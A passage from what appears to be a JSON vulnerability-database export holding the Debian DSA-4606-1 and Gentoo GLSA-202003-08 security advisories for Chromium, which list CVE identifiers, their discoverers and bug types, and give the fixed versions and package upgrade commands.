error.\n\nCVE-2019-13750\n\n Wenxiang Qian discovered insufficient validation of data in the sqlite\n library.\n\nCVE-2019-13751\n\n Wenxiang Qian discovered an uninitialized value in the sqlite library.\n\nCVE-2019-13752\n\n Wenxiang Qian discovered an out-of-bounds read issue in the sqlite\n library.\n\nCVE-2019-13753\n\n Wenxiang Qian discovered an out-of-bounds read issue in the sqlite\n library.\n\nCVE-2019-13754\n\n Cody Crews discovered a policy enforcement error.\n\nCVE-2019-13755\n\n Masato Kinugawa discovered a policy enforcement error.\n\nCVE-2019-13756\n\n Khalil Zhani discovered a user interface error.\n\nCVE-2019-13757\n\n Khalil Zhani discovered a user interface error.\n\nCVE-2019-13758\n\n Khalil Zhani discovered a policy enforecement error.\n\nCVE-2019-13759\n\n Wenxu Wu discovered a user interface error.\n\nCVE-2019-13761\n\n Khalil Zhani discovered a user interface error.\n\nCVE-2019-13762\n\n csanuragjain discovered a policy enforecement error.\n\nCVE-2019-13763\n\n weiwangpp93 discovered a policy enforecement error.\n\nCVE-2019-13764\n\n Soyeon Park and Wen Xu discovered the use of a wrong type in the v8\n javascript library.\n\nCVE-2019-13767\n\n Sergei Glazunov discovered a use-after-free issue.\n\nCVE-2020-6377\n\n Zhe Jin discovered a use-after-free issue.\n\nCVE-2020-6378\n\n Antti Levom\u00e4ki and Christian Jalio discovered a use-after-free issue.\n\nCVE-2020-6379\n\n Guang Gong discovered a use-after-free issue.\n\nCVE-2020-6380\n\n Sergei Glazunov discovered an error verifying extension messages.\n\nFor the oldstable distribution (stretch), security support for chromium has\nbeen discontinued.\n\nFor the stable distribution (buster), these problems have been fixed in\nversion 79.0.3945.130-1~deb10u1.\n\nWe recommend that you upgrade your chromium packages.\n\nFor the detailed security status of chromium please refer to\nits security tracker page at:\nhttps://security-tracker.debian.org/tracker/chromium\n\nFurther information about Debian Security Advisories, how to apply\nthese updates to your system and frequently asked questions can be\nfound at: https://www.debian.org/security/\n\nMailing list: debian-security-announce@lists.debian.org\n", "edition": 7, "modified": "2020-01-20T11:52:55", "published": "2020-01-20T11:52:55", "id": "DEBIAN:DSA-4606-1:D7F34", "href": "https://lists.debian.org/debian-security-announce/debian-security-announce-2020/msg00009.html", "title": "[SECURITY] [DSA 4606-1] chromium security update", "type": "debian", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}], "gentoo": [{"lastseen": "2020-03-13T06:35:35", "bulletinFamily": "unix", "cvelist": ["CVE-2020-6408", "CVE-2020-6409", "CVE-2020-6395", "CVE-2019-13764", "CVE-2019-13763", "CVE-2019-13759", "CVE-2020-6381", "CVE-2019-13758", "CVE-2019-13730", "CVE-2020-6394", "CVE-2020-6397", "CVE-2019-13736", "CVE-2019-13745", "CVE-2020-6377", "CVE-2019-13746", "CVE-2020-6399", "CVE-2020-6392", "CVE-2020-6387", "CVE-2019-13753", "CVE-2020-6412", "CVE-2020-6389", "CVE-2019-13740", "CVE-2020-6390", "CVE-2020-6407", "CVE-2019-13728", "CVE-2019-13741", "CVE-2020-6416", "CVE-2020-6410", "CVE-2019-13742", "CVE-2020-6396", "CVE-2019-13749", "CVE-2019-13750", "CVE-2020-6385", "CVE-2019-13738", "CVE-2019-13734", "CVE-2020-6401", "CVE-2020-6414", "CVE-2019-13735", "CVE-2020-6391", "CVE-2020-6420", "CVE-2019-13724", "CVE-2020-6411", "CVE-2020-6400", "CVE-2020-6398", "CVE-2020-6388", "CVE-2020-6413", "CVE-2019-13756", "CVE-2019-13754", "CVE-2019-13723", "CVE-2019-13761", "CVE-2019-13727", "CVE-2019-13762", "CVE-2019-13726", "CVE-2020-6415", "CVE-2020-6379", "CVE-2019-13748", "CVE-2019-13755", "CVE-2020-6380", "CVE-2019-13767", "CVE-2019-13729", "CVE-2019-13732", "CVE-2020-6404", "CVE-2019-13744", "CVE-2019-13757", "CVE-2020-6382", "CVE-2020-6403", "CVE-2020-6406", "CVE-2019-13743", "CVE-2019-13751", "CVE-2019-13739", "CVE-2020-6402", "CVE-2020-6418", "CVE-2019-13725", "CVE-2019-13752", "CVE-2019-13737", "CVE-2020-6378", "CVE-2020-6393", "CVE-2019-13747"], "description": "### Background\n\nChromium is an open-source browser project that aims to build a safer, faster, and more stable way for all users to experience the web. \n\nGoogle Chrome is one fast, simple, and secure browser for all your devices. \n\n### Description\n\nMultiple vulnerabilities have been discovered in Chromium and Google Chrome. Please review the referenced CVE identifiers and Google Chrome Releases for details. \n\n### Impact\n\nA remote attacker could execute arbitrary code, escalate privileges, obtain sensitive information, spoof an URL or cause a Denial of Service condition. \n\n### Workaround\n\nThere is no known workaround at this time.\n\n### Resolution\n\nAll Chromium users should upgrade to the latest version:\n \n \n # emerge --sync\n # emerge --ask --oneshot --verbose\n \">=www-client/chromium-80.0.3987.132\"\n \n\nAll Google Chrome users should upgrade to the latest version:\n \n \n # emerge --sync\n # emerge --ask --oneshot --verbose\n \">=www-client/google-chrome-80.0.3987.132\"", "edition": 1, "modified": "2020-03-13T00:00:00", "published": "2020-03-13T00:00:00", "id": "GLSA-202003-08", "href": "https://security.gentoo.org/glsa/202003-08", "title": "Chromium, Google Chrome: Multiple vulnerabilities", "type": "gentoo", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}]}